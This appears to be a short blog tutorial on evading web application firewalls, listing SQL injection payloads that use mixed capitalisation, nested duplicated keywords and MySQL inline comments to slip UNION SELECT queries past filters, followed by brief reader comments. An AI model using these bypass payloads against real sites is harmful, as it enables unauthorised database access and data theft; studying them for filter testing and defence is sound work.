Part 2: Bypass a Web Application Firewall (WAF)

July 29, 2016 | Views: 8073

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Function Capitalization Technique:-
For those WAF’s, which filter only lowercase, we can easily bypass:

Query! UNION SELECT 1,2,3—

Bypass! uniOn SeLeCt 1,2,3—


Replaced Keywords Technique:-
For those WAF’s, which escape certain keywords such as UNION, SELECT, ORDER BY, and so on:

Query! UNION SELECT 1,2—

Bypass! UNIunionON SEselectLECT 1,2—

Sqli union all select 1,2,3—-

By passed Sqli /*!UNION*/ +/*!ALL*/+/*!SELECT*/+1,2,3—-


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Ali Tabish

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  1. nice thanks

  2. Great! 😀

  3. Good article

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